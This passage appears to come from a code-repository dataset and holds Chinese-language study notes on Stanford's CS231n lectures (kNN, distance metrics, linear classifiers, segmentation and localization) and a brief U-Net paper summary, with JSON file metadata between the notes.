x D where each row is an example. Y is 1-dimension of size N\"\"\"\n # the nearest neighbor classifier simply remebers all the training data\n self.Xtr = X\n self.ytr = y\n \n \tdef predict(self, X):\n \"\"\" X is N x D where each row is an example we wish to predict label for\"\"\"\n num_test = X.shape[0]\n # lets make sure that the output type matches the input type\n Ypred = np.zeros(num_test, dtype = self.ytr.dtype)\n \n # loop over all test rows\n for i in xrange(num_test):\n # find the nearest training image to the i'th test image\n # using the L1 distance (sum of absolute value differences)\n distances = np.sum(np.abs(self.Xtr - X[i,:], axis = 1))\n min_index = np.argmin(distances) # get the index with smallest distance\n Ypred[i] = self.ytr[min_index]\n \n \t\treturn Ypred\n ```\n\n ่ฟ™ไธช็ฎ—ๆณ•็š„็‰น็‚นไนŸๆ˜ฏ็ผบ็‚นไน‹ไธ€๏ผŒๅฐฑๆ˜ฏ่ฎญ็ปƒๅพ—ๅพˆๅฟซ๏ผŒ้ข„ๆต‹็š„ๅคชๆ…ขใ€‚ใ€‚ใ€‚\n\n ่ฟ˜ๆœ‰ๅฏนๅ›พ็‰‡่ƒŒๆ™ฏ็š„้ฒๆฃ’ๆ€งๅพˆไธๅฅฝใ€‚\n\n### Distance Metric\n\n![](https://i.loli.net/2018/08/18/5b77f94f00033.png)\n\n- L1 ่ท็ฆปๅ–ๅ†ณไบŽไฝ ้€‰ๆ‹ฉ็š„ๅๆ ‡็ณป็ปŸใ€‚ๆ‰€ไปฅๅฆ‚ๆžœไฝ ่ฝฌๅŠจๅๆ ‡่ฝด๏ผŒๅฐ†ไผšๆ”นๅ˜็‚นไน‹้—ด็š„ L1 ่ท็ฆปใ€‚\n- ่€Œๆ”นๅ˜ๅๆ ‡่ฝดๅฏน L2 ่ท็ฆปๅฐฑๆฏซๆ— ๅฝฑๅ“ใ€‚L2 ่ท็ฆปๆ˜ฏไธ€ไธช็กฎๅฎš็š„ๅ›บๅฎšๅ€ผ๏ผŒๆ— ่ฎบไฝ ๅœจไป€ไนˆๆ ท็š„ๅๆ ‡่ฝดไธ‹ใ€‚\n- ๅฆ‚ๆžœไฝ ่พ“ๅ…ฅ็š„็‰นๅพๅ‘้‡๏ผŒๅ…ถๅ‘้‡ไธญ็š„ไธ€ไบ›ๅ€ผๅฏนไฝ ็š„ไปปๅŠกๆฅ่ฏดๆœ‰ไธ€ไบ›้‡่ฆ็š„ๆ„ไน‰๏ผŒ้‚ฃไนˆไนŸ่ฎธ L1 ่ท็ฆปๅฏ่ƒฝๆ›ด้€‚ๅˆใ€‚\n- ไฝ†ๅฆ‚ๆžœๅฎƒๅชๆ˜ฏๆŸไธช็ฉบ้—ดไธญ็š„ไธ€ไธช้€š็”จๅ‘้‡๏ผŒ่€Œไฝ ไธ็Ÿฅ้“ๅ…ถไธญ็š„ไธๅŒ็š„ๅ…ƒ็ด ๏ผŒ้‚ฃไนˆ L2 ๅฏ่ƒฝๆ›ด่‡ช็„ถไธ€ไบ›ใ€‚\n\n\n\n### Demo\n\n> http://vision.stanford.edu/teaching/cs231n-demos/knn/\n\n![](https://i.loli.net/2018/08/18/5b77fb4e413bd.png)\n\n\n\n### Hyperparameters \n\nๆƒณ่ฎฉ่ฟ™ไธชๆœ€็ฎ€ๅ•็š„็ฎ—ๆณ•ๆญฃๅธธๅทฅไฝœ๏ผŒไฝ ่ฟ˜ๆ˜ฏ้œ€่ฆๅฟ…้กป่ฎคไธบๆŒ‡ๅฎšๅ‡ ไธชๅ‚ๆ•ฐ๏ผˆK๏ผŒdistance metric๏ผ‰ๆฅๆžไบ‹ๆƒ…๏ผŒ่ฟ™ๅฐฑๆ˜ฏๆ‰€่ฐ“็š„โ€œ่ถ…ๅ‚ๆ•ฐโ€ใ€‚ไป–ไปฌๆœชๅฟ…้ƒฝ่ƒฝไปŽ่ฎญ็ปƒๆ•ฐๆฎไธญๅญฆๅˆฐใ€‚\n\n- ็ฉถ็ซŸ่ฏฅๅฆ‚ไฝ•่ฎพ็ฝฎ่ฟ™ไบ›่ถ…ๅ‚ๆ•ฐๅ‘ข๏ผŸๅฐๅ“ฅๅ‘Š่ฏ‰ๆˆ‘ไปฌใ€‚ใ€‚ใ€‚ใ€‚\n\n > Very **problem-dependent**!\n >\n > Must try them all out and see what works best.\n\n ้ข~ ไผ ่ฏดไธญ็š„็‚ผ้‡‘ๆœฏ่ฟ™ๅฐฑๅผ€ๅง‹ไบ†ใ€‚ใ€‚ใ€‚ใ€‚ใ€‚\n\n- ๅฏปๆ‰พ่ถ…ๅ‚ๆ•ฐ็š„่ฟ‡็จ‹่ฏฅๆ˜ฏๆ€Žๆ ท็š„ๅ‘ข๏ผŸ\n\n 1. ่ฎญ็ปƒ้›†ใ€้ชŒ่ฏ้›†ใ€ๆต‹่ฏ•้›†\n\n ![](https://i.loli.net/2018/08/20/5b7a9b2fe2a59.png)\n\n 2. ไบคๅ‰้ชŒ่ฏ๏ผˆๆทฑๅบฆๅญฆไน ไธๅธธ็”จ๏ผ‰\n\n ![](https://i.loli.net/2018/08/18/5b77ffd3424fd.png)\n\n 3. ไธพไธชไพ‹ๅญ๏ผŒไฝ“ไผšไธ€ไธ‹๏ผš\n\n ![](https://i.loli.net/2018/08/18/5b7801963dabb.png)\n\n 4. K-Nearest Neighbor ็ฎ—ๆณ•ๆ˜พ็„ถๆ˜ฏไธไผš็”จๅœจๅ›พๅƒๆ•ฐๆฎไธŠ็š„ใ€‚ๅŽŸๅ› ไธป่ฆๆœ‰ไธ‰็‚น๏ผš\n\n 1. Very slow at test time\n 2. Distance metrics on pixels are not informative\n 3. Curse of dimensionality\n\n\n\n## Linear Classification\n\n็บฟๆ€งๅˆ†็ฑปๆ˜ฏ้žๅธธ็ฎ€ๅ•็š„๏ผŒๅŒๆ—ถไนŸๆ˜ฏ้‡่ฆ็š„๏ผๅ› ไธบไธซ็š„ๅฐฑๆ˜ฏ็ฅž็ป็ฝ‘็ปœ็š„ๅŸบ็ก€็ป„ๆˆ้ƒจๅˆ†ไน‹ไธ€๏ผŒๅฐฑๅƒไน้ซ˜็Žฉๅ…ทไธ€ๆ ท็”จๅฎƒๆฅๆญๅปบ็ฝ‘็ปœใ€‚\n\n็บฟๆ€งๅˆ†็ฑปๅ™จไฝœไธบๅ‚ๆ•ฐๆจกๅž‹ไธญๆœ€็ฎ€ๅ•็š„ไพ‹ๅญ๏ผŒ่ฏฅ็ฎ—ๆณ•ไธŽ k - ๆœ€่ฟ‘้‚ป็ฎ—ๆณ•ๆœ‰็€ไธๅŒ็š„ๅฎž็Žฐๆ€่ทฏใ€‚\n\n![](https://i.loli.net/2018/08/18/5b78403a18241.png)\n\n- ๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅๆ˜ฏๅ›พ็‰‡+ๅ‚ๆ•ฐ๏ผŒ่พ“ๅ‡บๅฐฑๆ˜ฏๅˆ†็ฑปๅพ—ๅˆ†๏ผŒๅˆ†่ถŠ้ซ˜็š„ๅˆ†็ฑป่กจ็คบ่ถŠๅƒ่ฏฅ็ฑปๅˆซใ€‚\n- ็Ÿฉ้˜ตไน˜ๆณ•ไธญ่กŒไธŽๅˆ—็š„ๅซไน‰ๆ˜ฏไธๅฏน็ญ‰็š„๏ผŒๅ…ถๆœ‰็€ๅ„่‡ช็š„ไธๅŒๅซไน‰ใ€‚็ฌฌไธ€ๅฑ‚็š„โ€œ่กŒโ€ไธ€่ˆฌๆฅ่ฏด๏ผŒ้ƒฝๆ˜ฏไปฃ่กจ็€ไธ€ๆฌกๆ€ง่พ“ๅ…ฅ็ฝ‘็ปœ็š„ๆ ทๆœฌไธชๆ•ฐ๏ผŒๅœจๆœ€ๅŽ่พ“ๅ‡บๅฑ‚ๅค„๏ผŒ่กŒไปฃ่กจ็š„ๆ˜ฏๆ€ป็ฑปๅˆซๆ•ฐ็›ฎใ€‚๏ผˆๆ›ด่ฏฆ็ป†ๅ’Œ็”ŸๅŠจ็š„ๆ่ฟฐๅฏๆŸฅ้˜…ๅฆไธ€็ฏ‡ๅŽŸๅˆ›ๆ–‡็ซ ๏ผš[ไธ€ๆฎตๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœ็š„ๆ•…ไบ‹](../cs231n/cs231n_story_MLP.html#header-n2909)๏ผ‰\n\n\n\n### Interpreting a Linear Classifier: Three Viewpoints\n\n![](https://i.loli.net/2018/08/19/5b7849826cebe.png)\n\n- ไธ‰็ง็†่งฃ็บฟๆ€งๅˆ†็ฑปๅ™จ็š„่ง‚็‚น๏ผš\n\n - ไปฃๆ•ฐ่ง‚็‚น๏ผˆๆ˜ฏๆˆ‘ไปฌ็š„ๅ‘้‡ๅŒ–ไปฃ็ ็š„็›ดๆŽฅไฝ“็Žฐ๏ผŒๆƒ้‡ๆ„ไน‰ๆ˜Žๆ˜พ๏ผŒ็›ดๆŽฅๅฏนๅบ”็ฑปๅˆซๅพ—ๅˆ†ๅคงๅฐ๏ผ‰\n - ๅฏ่ง†ๅŒ–่ง‚็‚น๏ผˆ่ฎญ็ปƒๅฅฝๅŽ็š„็ฝ‘็ปœๆƒ้‡๏ผŒๅˆ†ๅˆซๅฏนๅบ”ๅˆฐๅˆ†็ฑป็ฑปๅˆซๅŽ่ฟ›่กŒๅฏ่ง†ๅŒ–๏ผŒ็›ธๅฝ“ไบŽๆฏไธชๅˆ†็ฑป็ฑปๅˆซ้ƒฝๆœ‰ไธ€ไธชๅญฆไน ๆจกๆฟ๏ผ‰\n - โ€œ็บฟๆ€งๅˆ†็ฑปๅ™จๅฏไปฅ่งฃ้‡Šไธบๆฏไธช็ง็ฑป็š„ๅญฆไน ๆจกๆฟใ€‚ๅฏนๅ›พไธญ็š„ๆฏไธชๅƒ็ด ไปฅๅŠ10ไธชๅˆ†็ฑป้‡Œ็š„ๆฏไธ€้กนๅœจ็Ÿฉ้˜ต W ้‡Œ้ƒฝๆœ‰ไธ€ไบ›ๅฏนๅบ”็š„้กนๅ‘Š่ฏ‰ๆˆ‘ไปฌ้‚ฃไธชๅƒ็ด ๅฏน้‚ฃไธชๅˆ†็ฑปๆœ‰ๅคšๅฐ‘ๅฝฑๅ“ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด็Ÿฉ้˜ต W ้‡Œ็š„ๆฏไธ€่กŒ้ƒฝๅฏนๅบ”ไธ€ไธชๅˆ†็ฑปๆจกๆฟใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ่งฃๅผ€่ฟ™ไบ›่กŒ็š„ๅ€ผ๏ผˆๆˆๅ›พ็‰‡็š„ๅคงๅฐ๏ผ‰๏ผŒ้‚ฃไนˆๆฏไธ€่กŒๅˆๅˆ†ๅˆซๅฏนๅบ”ไธ€ไบ›ๆƒ้‡๏ผŒๆฏไธชๅƒ็ด ๅ€ผๅ’Œๅฏนๅบ”้‚ฃไธช็ฑปๅˆซ็š„ไธ€ไบ›ๆƒ้‡๏ผŒๅฐ†่ฟ™่กŒๅˆ†่งฃๅ›žๅ›พๅƒ็š„ๅคงๅฐ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๅฏ่ง†ๅŒ–ๅญฆๅˆฐๆฏไธช็ฑป็š„ๆจกๆฟใ€‚โ€โ€”โ€” ๆฅ่‡ช Lecture.3\n - ๅ‡ ไฝ•่ง‚็‚น๏ผˆๅฐ†ๅ›พ็‰‡็š„ๆฏไธชๅƒ็ด ็‚นๅฝ“ๅšๆ˜ฏ็ป“ๆž„ๅŒ–ๆ•ฐๆฎ็š„ๆฏไธช็‰นๅพๅ€ผๅŽ๏ผŒ่ฟ›่กŒ้ซ˜็ปด็ฉบ้—ด็ฑปๅˆซๅˆ’ๅˆ†๏ผ‰\n - โ€œๅญฆไน ๅƒ็ด ๅœจ้ซ˜็ปด็ฉบ้—ด็š„ไธ€ไธช็บฟๆ€งๅ†ณ็ญ–่พน็•Œใ€‚ๅ…ถไธญ้ซ˜็ปด็ฉบ้—ดๅฐฑๅฏนๅบ”ไบ†ๅ›พ็‰‡่ƒฝๅ–ๅˆฐ็š„ๅƒ็ด ๅฏ†ๅบฆๅ€ผใ€‚โ€โ€”โ€” ๆฅ่‡ช Lecture.3\n\n- ็บฟๆ€งๅˆ†็ฑปๅ™จ็š„่‡ดๅ‘ฝ็ผบ็‚น๏ผŒ็œ‹ไธชๅ›พๆ„Ÿๅ—ไธ€ไธ‹ๅฐฑๅฅฝ๏ผš๏ผˆ้šพไปฅๅˆ’ไธ€ๅˆ€ๅฐ†่“่‰ฒๅ’Œ็บข่‰ฒไธค็ฑปๅŒบๅˆ†ๅผ€ๆฅใ€‚๏ผ‰\n\n ![](https://i.loli.net/2018/08/19/5b784bd757b23.png)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_2.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6619496941566467, "alphanum_fraction": 0.7106918096542358, "avg_line_length": 22.19230842590332, "blob_id": "a25d33fb2d46dc43c8425aca32295b9dac8cdb5a", "content_id": "024d20cae86a427b9664a4b926b1055b498495ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 890, "license_type": "no_license", "max_line_length": 216, "num_lines": 26, "path": "/blog/paper_summary/U-Net- Convolutional Networks for Biomedical Image Segmentation.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "\n\n\n\n\n\n\n\n# U-Net: Convolutional Networks for Biomedical Image Segmentation\n\n\n\n### Abstract\n\n- ็ป™ๅ‡บไบ†ๆ–ฐ็š„ end-end ็ฝ‘็ปœ็ป“ๆž„๏ผŒ้’ˆๅฏน**ๅฐ้‡ๆ•ฐๆฎ้›†**็š„่ฎญ็ปƒ๏ผŒๅฏไปฅ่Žทๅพ—**ๆ›ดๅŠ ไผ˜ๅผ‚**็š„่กจ็Žฐใ€‚่€Œไธ”๏ผŒ็ฝ‘็ปœ่ฎญ็ปƒ็š„**้€Ÿๅบฆๅพˆๅฟซใ€‚**\n- ่ฝปๆพๆ‹ฟไธ‹ ISBI cell tracking challenge 2015\n\n- ็ป™ๅ‡บไบ† Caffe ไปฃ็ ๏ผšhttps://lmb.informatik.uni-freiburg.de/people/ronneber/u-net\n\n\n\n\n\n### Introduction\n\nๅœจ biomedical image processing ไฝœไธบ็ ”็ฉถๅฏน่ฑกๆ—ถ๏ผŒlocalization ๅบ”่ฏฅๅฐคไธบๆƒณๅพ—ๅˆฐ็š„ไฟกๆฏใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผša class label is supposed to be assigned to each pixel. Ciresan et al. (2012) ็š„ๆ–‡็ซ ่™ฝ็„ถ่ตขไบ†2012ๅนด็š„ ISBI๏ผŒไฝ†ๆ˜ฏๆœ‰ไธคไธชๆ˜Žๆ˜พ็ผบ้™ท๏ผšๆ…ข+ๅœจๅ‡†็กฎๆ€งๅฎšไฝไธŽๅฎน้‡็š„ไฝฟ็”จ๏ผˆthe use of context๏ผ‰ ไน‹้—ด็š„ๅฆฅๅใ€‚\n\n\n\n### Network Architecture\n\n็ฝ‘็ปœๅ‘ˆU ๅž‹๏ผš\n\n![](https://i.loli.net/2018/08/29/5b860105668e6.png)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6700624227523804, "alphanum_fraction": 0.7765185236930847, "avg_line_length": 26.742050170898438, "blob_id": "fe0115f1831fd1a3266734ab43e27756c4e9f6a0", "content_id": "5ea7e71e8cb877f484cb1633adf4043f195b70c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 13693, "license_type": "no_license", "max_line_length": 413, "num_lines": 283, "path": "/blog/cs231n/cs231n_11.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.11\ndate: 2018-09-05\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=24)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n\n\n\n# Lecture 11. Detection and Segmentation\n\n\n\nไธŠ่ฏพๅ‰๏ผŒๆœ‰ไบบ้—ฎๅฐๅ“ฅ๏ผš\n\n- Q๏ผšๅฆ‚ไฝ•ๅœจ่ฎญ็ปƒ่ฟ‡็จ‹ไธญๆทปๅŠ ็ฝ‘็ปœๅฑ‚๏ผŸ\n - ่ฏท่ฏป papers๏ผšIan Goodfellow ็š„ Net2Net ๅ’Œๅพฎ่ฝฏ็š„ Network Morphismใ€‚\n\n\n\n## Semantic Segmentation\n\n> ่ฏญไน‰ๅˆ†ๅ‰ฒ๏ผšๆˆ‘ไปฌๅธŒๆœ›่พ“ๅ…ฅๅ›พๅƒ๏ผŒๅนถๅฏนๅ›พๅƒไธญๆฏไธชๅƒ็ด ๅšๅˆ†็ฑปใ€‚\n\n### Sliding Window\n\nPapers๏ผš\n\n> Farabet et al, โ€œLearning Hierarchical Features for Scene Labeling,โ€ TPAMI 2013 \n>\n> Pinheiro and Collobert, โ€œRecurrent Convolutional Neural Networks for Scene Labelingโ€, ICML 2014\n\n![image-20180904093824990](assets/image-20180904093824990.png)\n\n- ่ฎก็ฎ—ๅคๆ‚ๅบฆ้ซ˜๏ผŒๅฐคๅ…ถๅฏนๆญฃๅ‘ๅ’Œๅๅ‘ไผ ๆ’ญๆฅ่ฏดใ€‚\n\n\n\n\n\n### Fully Convolutional\n\nPapers๏ผš\n\n> Long, Shelhamer, and Darrell, โ€œFully Convolutional Networks for Semantic Segmentationโ€, CVPR 2015\n>\n> Noh et al, โ€œLearning Deconvolution Network for Semantic Segmentationโ€, ICCV 2015\n\n![image-20180904094150289](assets/image-20180904094150289.png)\n\n่พ“ๅ‡บไธ€ไธชๅผ ้‡๏ผŒๅฐบๅฏธๆ˜ฏ C\\*H\\*W๏ผŒๅ…ถไธญ C ๆ˜ฏ็ฑป็š„ๆ•ฐ้‡ใ€‚่ฟ™ไธชๅผ ้‡ไผšไธบๆฏไธชๅƒ็ด ่ฟ›่กŒ้ข„ๆต‹๏ผŒ็ป™ๅ‡บ่ฏ„ๅˆ†ใ€‚ๅฏนๆฏไธชๅƒ็ด ่ฟ™ไนˆๅš๏ผŒๆˆ‘ไปฌๅฏไปฅ็”จๅ †ๅ ็š„ๅท็งฏๅฑ‚ไธ€ๆฌกๆ€งๅฎŒๆˆๆ‰€ๆœ‰็š„่ฎก็ฎ—ใ€‚่ฟ™ๆ ท็š„่ฏ๏ผŒ่ฎญ็ปƒ่ฟ™ไธช็ฝ‘็ปœๅฐฑๆ˜ฏๅฏนๆฏไธชๅƒ็ด ๅˆ†้…ๆŸๅคฑๅนถไธ”ๅนณๅ‡ๅŒ–ๆŸๅคฑ็”จๅๅ‘ไผ ๆ’ญๆฅ่ฟ›่กŒ่ฎญ็ปƒใ€‚\n\n- Q๏ผšๅฆ‚ไฝ•ๅพ—ๅˆฐ่ฟ™็ง่ฎญ็ปƒ้›†๏ผŸ\n - ๆ˜ฏ็š„๏ผŒๅพˆ่ดตๅ•Š๏ผๆˆ‘ไปฌ้œ€่ฆ็ป™ๆฏไธชๅƒ็ด ๆ ‡่ฎฐใ€‚่ฟ™ๆ ท็š„ๅทฅๅ…ทๅฏไปฅๅœจ็ฝ‘ไธŠๆ‰พๅˆฐ๏ผŒไฝ ๅฏไปฅ็”จๅฎƒๅœจๅ›พๅƒไธŠ็”ป่ฝฎๅป“็บฟๅนถไธ”ๅกซๅ……ๅŒบๅŸŸใ€‚ไธ่ฟ‡่Žทๅ–่ฟ™ๆ ท็š„ๆ•ฐๆฎ้›†่ฟ˜ๆ˜ฏๆŒบ่ดต็š„ใ€‚\n\n\n\n![image-20180904101022415](assets/image-20180904101022415.png)\n\n#### In-Network upsampling: โ€œUnpoolingโ€\n\n![image-20180904095428114](assets/image-20180904095428114.png)\n\n#### In-Network upsampling: โ€œMax Unpoolingโ€\n\n![image-20180904095726602](assets/image-20180904095726602.png)\n\n#### Learnable Upsampling: Transpose Convolution\n\n![image-20180904100349782](assets/image-20180904100349782.png)\n\n- ไธบๅ•ฅๅซๅšโ€œ่ฝฌ็ฝฎโ€ๅท็งฏ\n\n - ไพ‹ๅญ1![image-20180904100707011](assets/image-20180904100707011.png)\n\n - ไพ‹ๅญ2\n\n ![image-20180904100758701](assets/image-20180904100758701.png)\n\n\n### Aside: Multi-view 3D Reconstruction (New topic in spring 2018)\n\nPapers๏ผš\n\n> Choy, C. B., Xu, D., Gwak, J., Chen, K., & Savarese, S. (2016, October). 3d-r2n2: A unified approach for single and multi-view\n> 3d object reconstruction. In European Conference on Computer Vision (pp. 628-644). Springer, Cham.\n\n![image-20180904101226872](assets/image-20180904101226872.png)\n\n![image-20180904101248828](assets/image-20180904101248828.png)\n\n![image-20180904101257907](assets/image-20180904101257907.png)\n\n\n\n\n\n\n\n## Classification + Localization\n\n![image-20180904101730191](assets/image-20180904101730191.png)\n\n- Q๏ผšๅŒๆ—ถๅš่ฟ™ไบ›ๆ˜ฏไธ€ไธชๅฅฝไธปๆ„ไนˆ๏ผŸไธพไธ€ไธชไพ‹ๅญ๏ผŒๅฆ‚ๆžœไฝ ่ฏฏๅˆ†็ฑปไบ†๏ผŒไฝ ๆ˜ฏๅฆๅบ”่ฏฅๆŸฅ็œ‹่พน็•Œๅๆ ‡ๅŽป้ชŒ่ฏใ€‚\n - ไธ€่ˆฌๆฅ่ฏด๏ผŒ่ฟ™็งๆ–นๆณ•่กจ็Žฐไธ้”™๏ผŒไธๆ˜ฏไธชๅคง้—ฎ้ข˜๏ผŒไฝ ๅฏไปฅ่ฎญ็ปƒไธ€ไธช็ฅž็ป็ฝ‘็ปœๅŒๆ—ถๅš่ฟ™ไบ›ไบ‹ๆƒ…ใ€‚ไธ่ฟ‡ๆœ‰ไบ›ๆ—ถๅ€™ไผšๅพฎๅฆ™ไบ›๏ผŒไปŽ่ฏฏๅˆ†็ฑป่ง’ๅบฆๆฅ็œ‹๏ผŒไธพไธชไพ‹ๅญ๏ผŒๆœ‰ๆ—ถๅ€™ไธไป…่ฆ้ข„ๆต‹ๅ•ไธช่พน็•Œ๏ผŒไฝ ๅฏ่ƒฝ่ฆๅˆ†็ฑป้ข„ๆต‹๏ผŒๆฏไธ€็ฑป็š„่พน็•Œไป…ไป…ๅฏนๆŸ็ฑป่พน็•Œ่ฏ„ไผฐๆŸๅคฑ้’ˆๅฏนๅฎž้™…ๅ€ผใ€‚ไบบไปฌๆœ‰ๆ—ถๅ€™ๅฏน่ฟ™ไธชไผšๆ„Ÿๅ…ด่ถฃ๏ผŒๅฎž้™…ๆฅ็œ‹ๆœ‰ไธ€ไบ›ๅธฎๅŠฉใ€‚ไฝ†ๆ˜ฏ่ฟ™็งๅŸบๆœฌ็š„ๅ‡่ฎพไธๆ˜ฏๅฎŒ็พŽ็š„๏ผŒๅนถไธ่ƒฝๆœ€ไผ˜ๅŒ–๏ผŒไฝ†ๆ˜ฏๆœ‰ๆ•ˆ๏ผŒ่ƒฝๅšไธ€ไบ›ไธœ่ฅฟใ€‚\n- Q๏ผš่ฟ™ไบ›ๆŸๅคฑๆœ‰ไธๅŒ็š„ๅ•ไฝไนˆ๏ผŸไป–ไปฌไผšๆŽงๅˆถๆขฏๅบฆไนˆ๏ผŸ\n - ่ฟ™ๅฐฑๆ˜ฏๆˆ‘ไปฌ่ฏด็š„ๅคš้‡ไปปๅŠกๆŸๅคฑใ€‚ไธ่ฎบไฝ•ๆ—ถๆฑ‚ๅฏผ๏ผŒๆˆ‘ไปฌๅฏน็ฝ‘็ปœๅ‚ๆ•ฐๆฑ‚ๆขฏๅบฆๅŸบไบŽๆˆ‘ไปฌ็š„ๅ‚ๆ•ฐ๏ผŒ็”จ่ฟ™ไธชๆฑ‚ๅฏผ็ป“ๆžœๅšๆขฏๅบฆใ€‚ไฝ†ๆ˜ฏ็Žฐๅœจๆˆ‘ไปฌๆœ‰ไธคไธชๆ ‡้‡๏ผŒๆˆ‘ไปฌๆƒณๅŒๆ—ถๆœ€ๅฐๅŒ–ใ€‚ไฝ ๅฎž้™…ๆƒณๅš็š„ๆ˜ฏๅœจ่ฟ™ไธคไธชๆŸๅคฑไธŠๅŠ ไธŠไธ€ไบ›็ป™ๅ‡บๆƒ้‡็š„่ถ…ๅ‚ๆ•ฐใ€‚ๆ‰€ไปฅไฝ ๅฏไปฅๅšๅŠ ๆƒๆฑ‚ๅ’Œใ€‚ๅฏนไธคไธชๆŸๅคฑๅ‡ฝๆ•ฐๆฅ็กฎๅฎšๆœ€็ปˆๆŸๅคฑใ€‚่ฟ™ๆ ทไฝ ๅฏไปฅ้’ˆๅฏนๅŠ ๅ’Œๆฑ‚ไธคๆŸๅคฑๅŠ ๆƒๆ€ปๅ’Œ็š„ๆขฏๅบฆใ€‚่ฟ™ไธๅฅฝๅค„็†๏ผŒๅ› ไธบ่ฟ™ไธชๅŠ ๆƒ่ถ…ๅ‚ๆ•ฐ้œ€่ฆไฝ ๆฅ่ฎพๅฎš๏ผŒไฝ†ๅฎƒๅ’Œๆˆ‘ไปฌ่งๅˆฐ่ฟ‡็š„ๅ…ถไป–่ถ…ๅ‚ๆ•ฐๆœ‰ๆ‰€ไธๅŒ๏ผŒๅ› ไธบ่ฟ™็งๅŠ ๆƒๅŒ–ๅ‚ๆ•ฐไผšๆ”นๅ˜ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ€ผใ€‚ไธ€่ˆฌๅœจ่ฎพๅฎš่ถ…ๅ‚ๆ•ฐๆ—ถ๏ผŒไฝ ไผšๅ–ไธๅŒ็š„ๅ‚ๆ•ฐๅ€ผๅฏนไน‹ๅŽ่พ“ๅ‡บ็š„ๆŸๅคฑๅ€ผ่ฟ›่กŒๆฏ”่พƒ๏ผŒ็œ‹็œ‹ๅฎƒไปฌๅ‘็”Ÿไบ†ๆ€Žๆ ท็š„ๅ˜ๅŒ–ใ€‚ไฝ†่ฟ™้‡Œ็š„่ถ…ๅ‚ๆ•ฐไผšๅฝฑๅ“ๆŸๅคฑๅ€ผ๏ผŒๅš่ฟ™็งๆฏ”่พƒๅฐฑ่ฆไธ€ไบ›ๆŠ€ๅทงไบ†ใ€‚ๆ‰€ไปฅๅˆ็†้€‰ๆ‹ฉๅ‚ๆ•ฐไนŸๆ˜ฏไธ€็งๆŒ‘ๆˆ˜ใ€‚ๅฎž้™…ๅบ”็”จไธญ๏ผŒไธบไบ†่งฃๅ†ณ้—ฎ้ข˜๏ผŒไฝ ้œ€่ฆๆ นๆฎไธๅŒๆƒ…ๅขƒ่ฟ›่กŒ่ฟ™ๆ ท็š„่ถ…ๅ‚ๆ•ฐๅ–ๅ€ผใ€‚ๆˆ‘ไธ€่ˆฌไผš้‡‡ๅ–็š„็ญ–็•ฅๆ˜ฏ็”จไฝ ๅ…ณๅฟƒ็š„ๆ€ง่ƒฝๆŒ‡ๆ ‡็ป„ๆˆ็š„็Ÿฉ้˜ตๆฅๅ–ไปฃๅŽŸๆœฌ็š„ๆŸๅคฑๅ€ผใ€‚่ฟ™ๆ ทไธ€ๆฅไฝ ๅฎž้™…ไธŠๆ˜ฏๅœจ็”จๆœ€็ปˆๆ€ง่ƒฝ็Ÿฉ้˜ตๅšไบคๅ‰้ชŒ่ฏ๏ผŒ่€Œไธๆ˜ฏไป…็›ฏ็€ๆŸๅคฑๅ€ผๆฅ้€‰ๆ‹ฉๅ‚ๆ•ฐใ€‚\n- Q๏ผšไธบไป€ไนˆไธๅ…ˆๅ›บๅฎš็ฝ‘็ปœไธญ็š„ๆ‰€ๆœ‰ๅ‚ๆ•ฐๅ†ๅˆ†ๅˆซ็”จไธคไธชไปปๅŠกไธญ็š„ๅ…จ่ฟžๆŽฅๅฑ‚ๆ•ฐๆฎ่ฟ›่กŒๅญฆไน ๏ผŸ\n - ็กฎๅฎžๆœ‰ไบบ่ฟ™ไนˆๅนฒใ€‚ไฝ†ๅ…ถๅฎžไธ€่ˆฌๅœจ่ฟ็งปๅญฆไน ไธญ๏ผŒๅฏนๆ•ดไธช็ณป็ปŸ่ฟ›่กŒ่”ๅˆ่ฐƒ่ฏ•ไผšๅพ—ๅˆฐๆ›ดๅฅฝ็š„็ป“ๆžœ๏ผŒๅ› ไธบๆœ‰ๅฏ่ƒฝไผšๅ‡บ็Žฐ็‰นๅพ็š„่ฏฏๅŒน้…ใ€‚่‹ฅไฝ ๅฐ†ๅœจ ImageNet 